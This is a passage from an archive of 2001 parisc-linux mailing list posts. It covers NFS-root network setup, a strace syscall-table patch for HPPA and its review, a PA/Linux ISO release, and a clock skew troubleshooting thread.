192.168.2.1     gandalf.sigtrap.de gandalf

/etc/hostname:

Insert your hostname in this file.

/etc/resolv.conf:

Insert your nameserver in this file, eg:

domain sigtrap.de
search sigtrap.de
nameserver 192.168.2.1

And now for the most important file:

/etc/network/interfaces:

Her you have to configure eth0, eg:

iface eth0 inet static
 address 192.168.2.8
 network 192.168.2.0
 netmask 255.255.255.0
 broadcast 192.168.1.255
 gateway 192.168.2.1
     
 iface lo inet loopback

Without our eth0 correctly set up and running you'll have problems to mount
your nfs-root via /etc/fstab.

On the bootp-server (which is also my nfsroot-server) you have to configure
/etc/bootptab, eg:

.global.prof:\
        :sm=255.255.255.0:\
	:ds=192.168.2.1:\
	:gw=192.168.2.1:\
	:sa=192.168.2.1:\
	:ht=ethernet:\
	:bf=vmlinux:
						

boromir:hd=/usr/tftpboot:rp=/usr/tftpboot/boromir:tc=.global.prof:hn:ha=ffffffffffff:ip=192.16
8.2.8:vm=rfc1048:

Insert your MAC-adress instead of ffffffffffff.

I hope that was all and I didn't mix up everything said ;-)

Perhaps the snippets of information can help you to get your machine up and
running.

Regards,

Oliver

-- 
!- Oliver Flimm - Cologne/Germany | flimm@sigtrap.de | http://www.sigtrap.de/ -!
!    Die Zehn Gebote haben 279 Woerter, die amerikanische Unabhaengigkeits-    !
! erklaerung hat 300 Woerter. Die EU-Verordnung zur Einfuhr von Karamelbonbons !
!-----------------------------  hat 25911 Woerter  ----------------------------!




From - Thu Nov 08 21:17:17 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: willy@ldl.fc.hp.com (Matthew Wilcox)
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] strace updates
Date: Wed, 18 Apr 2001 17:26:28 -0600
Lines: 107
Approved: news@gmane.org
Message-ID: <20010418172628.C4217@zumpano.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620042 18019 80.91.229.3 (22 Nov 2014 01:34:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:34:02 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: wakkerma@debian.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Apr 18 17:26:35 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from atlrel1.hp.com (atlrel1.hp.com [156.153.255.210])
	by dsl2.external.hp.com (Postfix) with ESMTP id E9EAB482A
	for <parisc-linux@parisc-linux.org>; Wed, 18 Apr 2001 17:26:33 -0600 (MDT)
Original-Received: from ldl.fc.hp.com (ldl.fc.hp.com [15.1.50.190])
	by atlrel1.hp.com (Postfix) with ESMTP
	id 28CED70B; Wed, 18 Apr 2001 19:26:29 -0400 (EDT)
Original-Received: by ldl.fc.hp.com (Postfix, from userid 22224)
	id 8A2AF5A9D4; Wed, 18 Apr 2001 17:26:28 -0600 (MDT)
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
Xref: news.gmane.org gmane.linux.ports.parisc:10810

This patch adds some new syscalls to the HPPA list, it's against the current
sourceforge version.  Some of the lists seem to have bugs... some examples:

linux/mips/syscallent.h:        { 2,    TF,     printargs,              "stat64"}, /* 4213 */
that is sys_stat64 in other arches, not printargs

sys_truncate64 & sys_ftruncate64 actually take 3 arguments not 2 (problem
in all architectures)

linux/mips/syscallent.h:        { 3,    0,      printargs,              "fcntl64"       }, /* 4220 */
all other arches tag this as TF, not 0.

most of the entries for sys_fcntl64 just do printargs, but it's identical
to sys_fcntl.

i can't see how to build this from the sourceforge CVS -- i run autoconf
but config.h.in is not found.  probably because it's part of .cvsignore.

Index: syscallent.h
===================================================================
RCS file: /cvsroot/strace/strace/linux/hppa/syscallent.h,v
retrieving revision 1.1
diff -u -p -r1.1 syscallent.h
--- linux/hppa/syscallent.h	2001/03/27 12:17:17	1.1
+++ linux/hppa/syscallent.h	2001/04/18 22:06:40
@@ -1,31 +1,5 @@
 /*
- * Copyright (c) 1993 Branko Lankester <branko@hacktic.nl>
- * Copyright (c) 1993, 1994, 1995 Rick Sladkey <jrs@world.std.com>
- * All rights reserved.
- *
- * Redistribution and use in source and binary forms, with or without
- * modification, are permitted provided that the following conditions
- * are met:
- * 1. Redistributions of source code must retain the above copyright
- *    notice, this list of conditions and the following disclaimer.
- * 2. Redistributions in binary form must reproduce the above copyright
- *    notice, this list of conditions and the following disclaimer in the
- *    documentation and/or other materials provided with the distribution.
- * 3. The name of the author may not be used to endorse or promote products
- *    derived from this software without specific prior written permission.
- *
- * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
- * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
- * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
- * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
- * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
- * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
- * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
- * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
- * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
- * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
- *
- *	$Id: syscallent.h,v 1.1 2001/03/27 12:17:17 wichert Exp $
+ * Copyright (c) 2001 Hewlett-Packard, Matthew Wilcox
  */
 
 	{ 5,	0,	printargs,		"SYS_0"			}, /* 0 */
@@ -117,7 +91,7 @@
 	{ 1,	0,	sys_uselib,		"uselib"		}, /* 86 */
 	{ 1,	0,	sys_swapon,		"swapon"		}, /* 87 */
 	{ 3,	0,	sys_reboot,		"reboot"		}, /* 88 */
-	{ 3,	0,	sys_readdir,		"old_readdir"		}, /* 89 */
+	{ 6,	0,	sys_mmap,		"mmap2"			}, /* 89 */
 	{ 6,	0,	sys_mmap,		"mmap"			}, /* 90 */
 	{ 2,	0,	sys_munmap,		"munmap"		}, /* 91 */
 	{ 2,	TF,	sys_truncate,		"truncate"		}, /* 92 */
@@ -129,8 +103,8 @@
 	{ 4,	TN,	sys_recv,		"recv"			}, /* 98 */
 	{ 2,	TF,	sys_statfs,		"statfs"		}, /* 99 */
 	{ 2,	0,	sys_fstatfs,		"fstatfs"		}, /* 100 */
-	{ 3,	0,	sys_ioperm,		"ioperm"		}, /* 101 */
-	{ 5,	0,	sys_socketcall,		"socketcall"		}, /* 102 */
+	{ 2,	TF,	sys_stat64,		"stat64"		}, /* 101 */
+	{ 5,	0,	printargs,		"SYS_102"		}, /* 102 */
 	{ 3,	0,	sys_syslog,		"syslog"		}, /* 103 */
 	{ 3,	0,	sys_setitimer,		"setitimer"		}, /* 104 */
 	{ 2,	0,	sys_getitimer,		"getitimer"		}, /* 105 */
@@ -140,7 +114,7 @@
 	{ 5,	TF,	sys_pwrite,		"pwrite"		}, /* 109 */
 	{ 2,	0,	sys_getcwd,		"getcwd"		}, /* 110 */
 	{ 0,	0,	sys_vhangup,		"vhangup"		}, /* 111 */
-	{ 0,	0,	sys_idle,		"idle"			}, /* 112 */
+	{ 2,	TF,	sys_fstat64,		"fstat64"		}, /* 112 */
 	{ 0,	0,	sys_vfork,		"vfork"			}, /* 113 */
 	{ 4,	TP,	sys_wait4,		"wait4"			}, /* 114 */
 	{ 1,	0,	sys_swapoff,		"swapoff"		}, /* 115 */
@@ -227,11 +201,11 @@
 
 	{ 5,	0,	printargs,		"SYS_196"		}, /* 196 */
 	{ 5,	0,	printargs,		"SYS_197"		}, /* 197 */
-	{ 5,	0,	printargs,		"SYS_198"		}, /* 198 */
-	{ 5,	0,	printargs,		"SYS_199"		}, /* 199 */
-	{ 5,	0,	printargs,		"SYS_200"		}, /* 200 */
-	{ 5,	0,	printargs,		"SYS_201"		}, /* 201 */
-	{ 5,	0,	printargs,		"SYS_202"		}, /* 202 */
+	{ 2,	TF,	sys_lstat64,		"lstat64"		}, /* 198 */
+	{ 3,	TF,	printargs,		"truncate64"		}, /* 199 */
+	{ 3,	TF,	printargs,		"ftruncate64"		}, /* 200 */
+	{ 3,	0,	printargs,		"getdents64"		}, /* 201 */
+	{ 3,	TF,	sys_fcntl,		"fcntl64"		}, /* 202 */
 	{ 5,	0,	printargs,		"SYS_203"		}, /* 203 */
 	{ 5,	0,	printargs,		"SYS_204"		}, /* 204 */
 	{ 5,	0,	printargs,		"SYS_205"		}, /* 205 */




From - Thu Nov 08 21:17:17 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Wichert Akkerman <wichert@cistron.nl>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: strace updates
Date: Thu, 19 Apr 2001 03:18:23 +0200
Lines: 27
Approved: news@gmane.org
Message-ID: <20010419031823.B27942@cistron.nl>
References: <20010418172628.C4217@zumpano.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620043 18022 80.91.229.3 (22 Nov 2014 01:34:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:34:03 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Matthew Wilcox <willy@ldl.fc.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Apr 18 19:18:26 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from janeway.cistron.net (janeway.cistron.net [195.64.65.23])
	by dsl2.external.hp.com (Postfix) with ESMTP id CE101482A
	for <parisc-linux@parisc-linux.org>; Wed, 18 Apr 2001 19:18:25 -0600 (MDT)
Original-Received: from picard.cistron.nl (root@picard.cistron.nl [195.64.65.20])
	by janeway.cistron.net (8.9.3/8.9.3/Debian 8.9.3-6) with ESMTP id DAA17382;
	Thu, 19 Apr 2001 03:18:23 +0200
Original-Received: (from wichert@localhost)
	by picard.cistron.nl (8.9.3/8.9.3/Debian 8.9.3-6) id DAA28567;
	Thu, 19 Apr 2001 03:18:23 +0200
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20010418172628.C4217@zumpano.fc.hp.com>; from willy@ldl.fc.hp.com on Wed, Apr 18, 2001 at 05:26:28PM -0600
Xref: news.gmane.org gmane.linux.ports.parisc:10811

Previously Matthew Wilcox wrote:
> This patch adds some new syscalls to the HPPA list, it's against the current
> sourceforge version. 

Ok, looks good. I'll apply it when I wake up tomorrow.

> sys_truncate64 & sys_ftruncate64 actually take 3 arguments not 2 (problem
> in all architectures)

Hmm, nasty. I'll fix that for the other archs as wel.

> i can't see how to build this from the sourceforge CVS -- i run autoconf
> but config.h.in is not found.  probably because it's part of .cvsignore.

RTFM :). You have to run cvsbuild first which will call autoheader
and autoconf for you.

Wichert.

-- 
   ________________________________________________________________
 / Generally uninteresting signature - ignore at your convenience  \
| wichert@cistron.nl                  http://www.liacs.nl/~wichert/ |
| 1024D/2FA3BC2D 576E 100B 518D 2F16 36B0  2805 3CB8 9250 2FA3 BC2D |




From - Thu Nov 08 21:17:17 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Xavier Debacker <xavier.debacker@esiee.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] PA/Linux iso 0.6 is out!
Date: Thu, 19 Apr 2001 12:27:21 +0200
Lines: 22
Approved: news@gmane.org
Message-ID: <3ADEBD89.AF63F86E@esiee.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620043 18031 80.91.229.3 (22 Nov 2014 01:34:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:34:03 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org,
	parisc-linux-announce@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Apr 19 04:27:30 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.esiee.fr (mail.esiee.fr [147.215.1.3])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id C4086482A; Thu, 19 Apr 2001 04:27:29 -0600 (MDT)
Original-Received: from esiee.net (pc5158d.esiee.fr [147.215.50.170])
	by mail.esiee.fr (Postfix) with ESMTP
	id EFDE3D15F4; Thu, 19 Apr 2001 12:27:27 +0200 (CEST)
X-Mailer: Mozilla 4.75 [fr] (Win98; U)
X-Accept-Language: fr
Xref: news.gmane.org gmane.linux.ports.parisc:10812

New CD iso images can be downloaded at
http://mkhppa1.esiee.fr/en/isos.html

3 versions:
32bits kernel with serial console
32bits kernel with STI console
64bits kernel with serial console

all kernels are on each iso, the only difference is the default booting
kernel.

Enjoy, and give us feedback :-)

Xavier Debacker
ESIEE Team
http://www.esiee.fr/puffin







From - Thu Nov 08 21:17:17 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Xavier Debacker <xavier.debacker@esiee.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: PA/Linux iso 0.6 is out!
Date: Thu, 19 Apr 2001 12:53:01 +0200
Lines: 18
Approved: news@gmane.org
Message-ID: <3ADEC38D.B99CC03F@esiee.net>
References: <A4A5E4C468B5D11190220001FA6835DD04DD88CE@EPIXCH003>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416620044 18034 80.91.229.3 (22 Nov 2014 01:34:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:34:04 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: SOETE =?iso-8859-1?Q?Jo=EBl?= <JSO@EUROPAY.COM>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Apr 19 04:53:09 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.esiee.fr (mail.esiee.fr [147.215.1.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id 383CF482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 19 Apr 2001 04:53:09 -0600 (MDT)
Original-Received: from esiee.net (pc5158d.esiee.fr [147.215.50.170])
	by mail.esiee.fr (Postfix) with ESMTP
	id EC294D15F4; Thu, 19 Apr 2001 12:53:07 +0200 (CEST)
X-Mailer: Mozilla 4.75 [fr] (Win98; U)
X-Accept-Language: fr
Xref: news.gmane.org gmane.linux.ports.parisc:10813

SOETE Jo=EBl a =E9crit :

> Xavier,
>
> Thanks a lot for information. I will download it soon.
>
> May I ask you to publish md5sum checksum result to be sure of burning t=
he
> right file.
>
> Thanks in advance for help,
>         Joel

done.





From - Thu Nov 08 21:17:17 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andreas Thienemann <andreas@thienemann.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Clock skew problems
Date: Thu, 19 Apr 2001 15:22:08 +0200 (CEST)
Lines: 31
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.10.10104191518560.30090-100000@gate.ixs.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620044 18036 80.91.229.3 (22 Nov 2014 01:34:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:34:04 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Apr 19 07:20:56 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from bender.bawue.de (bender.bawue.de [193.197.13.1])
	by dsl2.external.hp.com (Postfix) with ESMTP id 15458482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 19 Apr 2001 07:20:56 -0600 (MDT)
Original-Received: from gate (pC19F1D1E.dip.t-dialin.net [193.159.29.30])
	by bender.bawue.de (Postfix) with ESMTP id 8DD5C4828C
	for <parisc-linux@lists.parisc-linux.org>; Thu, 19 Apr 2001 15:20:31 +0200 (CEST)
Original-Received: from localhost (andreas@localhost)
	by gate (8.9.3/8.9.3) with ESMTP id PAA30834
	for <parisc-linux@lists.parisc-linux.org>; Thu, 19 Apr 2001 15:22:08 +0200
X-Sender: andreas@gate.ixs.com
Xref: news.gmane.org gmane.linux.ports.parisc:10814

Hi,

I finally got my HP9000D to work with yesterdays CVS snapshot.

But now I'm havving problems with the clock.
I'm using the basplus-20010404.tar.gz as my NFS root and set
/etc/localtime /etc/timezone to point to
/usr/share/timezone/Europe/Berlin.

So far so good.

Then I set the clock to my current date, and run a 'hwlock --systohc
--utc'.

Just as usual.

But now, when I try do compile some software I'm having problems.

I'm getting the following message from make:

make: *** Warning: File `libdb.a' has modification time in the future
(2001-04-19 15:15:33 > 2001-04-19 15:15:04)

And I have absolutely no Idea why this is happening.

Thanks for any advice,
 andreas





From - Thu Nov 08 21:17:17 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: =?iso-8859-1?Q?SOETE_Jo=EBl?= <JSO@EUROPAY.COM>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] RE: [parisc-linux-announce] PA/Linux iso 0.6 is out!
Date: Thu, 19 Apr 2001 12:35:05 +0200
Lines: 54
Approved: news@gmane.org
Message-ID: <A4A5E4C468B5D11190220001FA6835DD04DD88CE@EPIXCH003>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
X-Trace: ger.gmane.org 1416620044 18041 80.91.229.3 (22 Nov 2014 01:34:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:34:04 +0000 (UTC)
To: 'Xavier Debacker' <xavier.debacker@esiee.net>,
	parisc-linux@lists.parisc-linux.org,
	parisc-linux-announce@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Apr 19 08:09:35 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from epirel991.europay.com (mail.europay.com [193.75.200.45])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 9B14E482A; Thu, 19 Apr 2001 08:09:33 -0600 (MDT)
Original-Received: from epixchims.europay.com (unverified) by epirel991.europay.com
 (Content Technologies SMTPRS 4.1.5) with ESMTP id <Tac10592d5302f3a0d5@epirel991.europay.com>;
 Thu, 19 Apr 2001 12:36:46 +0200
Original-Received: by epixchims.europay.com with Internet Mail Service (5.5.2650.21)
	id <HYKYXBTK>; Thu, 19 Apr 2001 12:37:01 +0200
X-Mailer: Internet Mail Service (5.5.2650.21)
Xref: news.gmane.org gmane.linux.ports.parisc:10815

Xavier,

Thanks a lot for information. I will download it soon.

May I ask you to publish md5sum checksum result to be sure of burning the
right file.

Thanks in advance for help,
	Joel

> -----Original Message-----
> From: Xavier Debacker [mailto:xavier.debacker@esiee.net]
> Sent: Thursday, April 19, 2001 12:27 PM
> To: parisc-linux@lists.parisc-linux.org;
> parisc-linux-announce@lists.parisc-linux.org
> Subject: [parisc-linux-announce] PA/Linux iso 0.6 is out!
> 
> 
> New CD iso images can be downloaded at
> http://mkhppa1.esiee.fr/en/isos.html
> 
> 3 versions:
> 32bits kernel with serial console
> 32bits kernel with STI console
> 64bits kernel with serial console
> 
> all kernels are on each iso, the only difference is the 
> default booting
> kernel.
> 
> Enjoy, and give us feedback :-)
> 
> Xavier Debacker
> ESIEE Team
> http://www.esiee.fr/puffin
> 
> 
> 
> 
> 
> _______________________________________________
> parisc-linux-announce mailing list
> parisc-linux-announce@lists.parisc-linux.org
> http://lists.parisc-linux.org/cgi-bin/mailman/listinfo/parisc-
linux-announce


**********************************************************************
This e-mail and any attachments to it may contain confidential information which is strictly intended for the use of the authorised recipient.  If you have received this e-mail in error, please delete it and notify the sender by replying to this e-mail.
Thank you for your co-operation.
**********************************************************************




From - Thu Nov 08 21:17:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@puffin.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Clock skew problems
Date: Thu, 19 Apr 2001 12:02:54 -0600
Lines: 38
Approved: news@gmane.org
Message-ID: <200104191802.MAA24940@puffin.external.hp.com>
References: <Pine.LNX.4.10.10104191518560.30090-100000@gate.ixs.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620044 18047 80.91.229.3 (22 Nov 2014 01:34:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:34:04 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Andreas Thienemann <andreas@thienemann.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Apr 19 12:09:09 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2A489482A
	for <parisc-linux@parisc-linux.org>; Thu, 19 Apr 2001 12:09:09 -0600 (MDT)
Original-Received: from puffin (IDENT:grundler@localhost [127.0.0.1])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id MAA24940;
	Thu, 19 Apr 2001 12:02:54 -0600
In-Reply-To: Your message of "Thu, 19 Apr 2001 15:22:08 +0200."
             <Pine.LNX.4.10.10104191518560.30090-100000@gate.ixs.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:10816

Andreas Thienemann wrote:
> But now, when I try do compile some software I'm having problems.
> 
> I'm getting the following message from make:
> 
> make: *** Warning: File `libdb.a' has modification time in the future
> (2001-04-19 15:15:33 > 2001-04-19 15:15:04)
>
> And I have absolutely no Idea why this is happening.

Everytime one updates the kernel time and it gets set *back*,
make will notice the derived objects (ie libdb.a) are newer than
current time and complain.

However, I suspect the kernel isn't keeping time perfectly and updating
from the HW clock (YMMV: historically, some servers had better RTC crystals)
is causing the problem. Having a bad RTC will also look like
the kernel isn't keeping time when in fact it is.

a500# date
Thu Apr 19 11:11:02 MDT 2001
a500# hwclock
Thu Apr 19 11:11:01 2001  -1.003308 seconds
a500# uptime
 11:11:36 up 21:25,  1 user,  load average: 0.00, 0.04, 0.04

So not doing too badly - but it needs to be fixed.
I'm assuming the A500 has a good RTC.
I'll submit a bug for you.

grant

Grant Grundler
parisc-linux {PCI|IOMMU|SMP} hacker
+1.408.447.7253




From - Thu Nov 08 21:17:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andreas Thienemann <andreas@thienemann.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Clock skew problems
Date: Thu, 19 Apr 2001 20:18:33 +0200 (CEST)
Lines: 29
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.10.10104192013560.31352-100000@gate.ixs.com>
References: <200104191802.MAA24940@puffin.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620045 18303 80.91.229.3 (22 Nov 2014 01:34:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:34:05 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Grant Grundler <grundler@puffin.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Apr 19 12:17:15 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from bender.bawue.de (bender.bawue.de [193.197.13.1])
	by dsl2.external.hp.com (Postfix) with ESMTP id 65E0F482A
	for <parisc-linux@parisc-linux.org>; Thu, 19 Apr 2001 12:17:14 -0600 (MDT)
Original-Received: from gate (pC19F1D1E.dip.t-dialin.net [193.159.29.30])
	by bender.bawue.de (Postfix) with ESMTP
	id 3EB594828C; Thu, 19 Apr 2001 20:16:53 +0200 (CEST)
Original-Received: from localhost (andreas@localhost)
	by gate (8.9.3/8.9.3) with ESMTP id UAA08865;
	Thu, 19 Apr 2001 20:18:33 +0200
X-Sender: andreas@gate.ixs.com
In-Reply-To: <200104191802.MAA24940@puffin.external.hp.com>
Xref: news.gmane.org gmane.linux.ports.parisc:10817

Hi Grant,

On Thu, 19 Apr 2001, Grant Grundler wrote:

> Everytime one updates the kernel time and it gets set *back*,
> make will notice the derived objects (ie libdb.a) are newer than
> current time and complain.
Yes, I knew that. I still can remember when it happened to me for the
first time. I was a fresh linux novice running RedHat 3.0.3 and  compiling
his first kernel when I played with the timeconfig panel in another
xterm. Whoaps! One failed build attempt. ;)
 
> I'm assuming the A500 has a good RTC.
I've got a 821/D250 and I don't know anything about the accuracy of the
RTC clock.
But hwclock tells me the following:

[root@hp9000 root]# hwclock
Thu Apr 19 20:17:25 2001  -1.063290 seconds

> I'll submit a bug for you.
Thanks!

bye,
 andreas





From - Thu Nov 08 21:17:18 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Tran, Andrew" <andrew.tran@culvercity.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Working Kernel for HP9000/715 (Or 750??) PA7100 99MHz 128MB
Date: Thu, 19 Apr 2001 11:30:34 -0700
Lines: 17
Approved: news@gmane.org
Message-ID: <268BD69034B0D311817600A0C9FC2F5A01EDE0B8@CC_MAIL>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
X-Trace: ger.gmane.org 1416620045 18306 80.91.229.3 (22 Nov 2014 01:34:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:34:05 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Apr 19 12:30:55 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cc_mail.culver_city (mail.ci.culver-city.ca.us [216.100.0.33])
	by dsl2.external.hp.com (Postfix) with ESMTP id 16FB9482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 19 Apr 2001 12:30:55 -0600 (MDT)
Original-Received: by CC_MAIL with Internet Mail Service (5.5.2650.21)
	id <25L5GX67>; Thu, 19 Apr 2001 11:30:39 -0700
X-Mailer: Internet Mail Service (5.5.2650.21)
Xref: news.gmane.org gmane.linux.ports.parisc:10818

Hello Everyone,
     Does anyone has a working kernel for HP9000/715 (Or 750??) PA7100 99MHz
128MB?  I've tried everything, but couldn't get it to boot up without
getting hang after stack dump.  If you do please let me have it.  

Thanks
P.S.  The lable on my machine just says Series 700.  I got the above info
when it boot up.  It's a huge machine!

Andrew Tran
IT Department
 <<...OLE_Obj...>> 
Ext.: 5953





From - Thu Nov 08 21:17:18 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bdale Garbee <bdale@gag.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Build Daemon Statistics
Date: 19 Apr 2001 16:23:48 -0600
Lines: 41
Approved: news@gmane.org
Message-ID: <87snj44jgr.fsf@rover.gag.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620045 18308 80.91.229.3 (22 Nov 2014 01:34:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:34:05 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: debian-hppa@lists.debian.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Apr 19 16:23:55 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from rover.gag.com (rover.gag.com [192.133.104.32])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8A717482A
